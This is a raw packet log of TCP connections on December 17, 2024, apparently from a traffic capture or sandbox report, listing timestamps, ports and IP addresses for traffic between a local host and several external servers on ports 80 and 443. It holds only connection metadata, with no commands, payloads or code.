Dec 17, 2024 22:06:28.749274969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.749320030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.749991894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.750193119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.750248909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.750803947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.750868082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.750907898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.751820087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.751832008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.751857042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.751880884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.752510071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.752957106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.752991915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.753492117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.753504038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.753528118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.753552914 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.754163980 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.754364967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.754401922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.754998922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.755354881 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.755393028 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.755847931 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.755882978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.755918026 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.756720066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.756768942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.756941080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.757232904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.757527113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.757834911 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.757875919 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.758524895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.758537054 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.758579016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.759234905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.759366035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.759412050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.760044098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.760086060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.760195971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.760950089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.760994911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.761322021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.761483908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.761780024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.761790037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.761825085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.762586117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.762708902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.762748957 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.763504982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.764235973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.764278889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.764283895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.764290094 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.764331102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.765275002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.765336990 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.765543938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.765598059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.766035080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.766045094 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.766078949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.766829967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.766928911 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.766983986 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.767671108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.767714977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.767904043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.768523932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.768574953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.768809080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.768949032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.917246103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.917262077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.917361975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.917471886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.917653084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.917716980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.918402910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.918414116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.918457031 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.919339895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.919414997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.919469118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.919548035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.919596910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.920408010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.920419931 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.920468092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.921458006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.921725988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.921772003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.921860933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.921874046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.921916008 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.922777891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.922828913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.922887087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.923563957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.923613071 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.923860073 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.924650908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.924663067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.924702883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.925195932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.925390959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.925441980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.926140070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.926187992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.926218033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.927016020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.927061081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.927362919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.927828074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.927839994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.927875042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.927886963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.928771019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.928782940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.928813934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.928824902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.929416895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.929749012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.929795980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.930304050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.930536985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.930581093 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.931128025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.931173086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:29.117129087 CET	443	49811	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:29.117257118 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:29.118755102 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:29.118761063 CET	443	49811	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:29.119121075 CET	443	49811	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:29.122337103 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:29.122447014 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:29.122482061 CET	443	49811	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:29.122546911 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:29.122554064 CET	443	49811	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:31.268295050 CET	49788	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:31.268857002 CET	49822	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:31.389628887 CET	80	49822	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:31.389699936 CET	80	49788	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:31.389722109 CET	49822	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:31.389746904 CET	49788	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:31.390047073 CET	49822	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:31.510624886 CET	80	49822	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:32.536160946 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:32.536199093 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:32.536269903 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:32.552975893 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:32.552987099 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:32.635751963 CET	443	49811	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:32.636020899 CET	443	49811	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:32.636066914 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:32.636112928 CET	49811	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:32.777518034 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:32.777565956 CET	443	49824	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:32.777674913 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:32.777951002 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:32.777968884 CET	443	49824	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:32.779659986 CET	80	49822	185.215.113.43	192.168.2.4
Dec 17, 2024 22:06:32.779726028 CET	49822	80	192.168.2.4	185.215.113.43
Dec 17, 2024 22:06:32.780716896 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:32.780963898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:32.900357962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:32.900443077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:32.900614023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:32.900638103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:32.900669098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:33.020126104 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.099009037 CET	443	49824	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:34.099088907 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:34.159768105 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:34.159796000 CET	443	49824	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:34.160686016 CET	443	49824	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:34.162800074 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:34.163023949 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:34.163023949 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:34.163084030 CET	443	49824	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:34.345419884 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345453024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345469952 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345484018 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.345516920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.345516920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.345531940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345546961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345563889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345567942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.345583916 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.345601082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.345670938 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345684052 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345698118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345705032 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.345715046 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.345721006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.345738888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.345755100 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.356605053 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:34.357686996 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:34.357708931 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:34.358611107 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:34.358668089 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:34.361913919 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:34.362014055 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:34.399502039 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:34.399525881 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:34.453466892 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:34.465166092 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.465245008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.465332031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.465382099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.469304085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.469355106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.545718908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.545809984 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.545834064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.545871973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.549833059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.549889088 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.551399946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.551448107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.551501989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.551537991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.559811115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.559864044 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.559885025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.559922934 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.568142891 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.568211079 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.568278074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.568319082 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.576519966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.576576948 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.576653004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.576694012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.585160017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.585231066 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.585257053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.585297108 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.593229055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.593281031 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.593352079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.593396902 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.601650000 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.601701975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.601785898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.601828098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.610011101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.610042095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.610068083 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.610095024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.617624998 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.617706060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.617712975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.617760897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.625271082 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.625376940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.625433922 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.665612936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.665678024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.665798903 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.724093914 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:34.724176884 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:34.724298954 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:34.737823009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.737886906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.737982035 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.738037109 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.740298986 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.740587950 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.740644932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.744976997 CET	49823	443	192.168.2.4	98.85.100.80
Dec 17, 2024 22:06:34.745003939 CET	443	49823	98.85.100.80	192.168.2.4
Dec 17, 2024 22:06:34.745234013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.746949911 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.747339010 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.747370005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.747395992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.747416973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.752572060 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.752588034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.752624989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.752644062 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.756928921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.756979942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.757030964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.757838964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.761657953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.761713982 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.761771917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.761816978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.766439915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.766513109 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.766561985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.771126032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.771173954 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.771225929 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.771296024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.775978088 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.776041985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.776081085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.776134014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.780647993 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.780770063 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.780816078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.785383940 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.785434008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.785520077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.785571098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.790133953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.790186882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.790275097 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.790916920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.794867039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.794920921 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.794975042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.795723915 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.798429012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.798489094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.798527956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.798616886 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.801903963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.801953077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.802050114 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.802094936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.805404902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.805520058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.805573940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.808862925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.808912992 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:34.808959007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:34.809313059 CET	49825	80	192.168.2.4	31.41.244.11
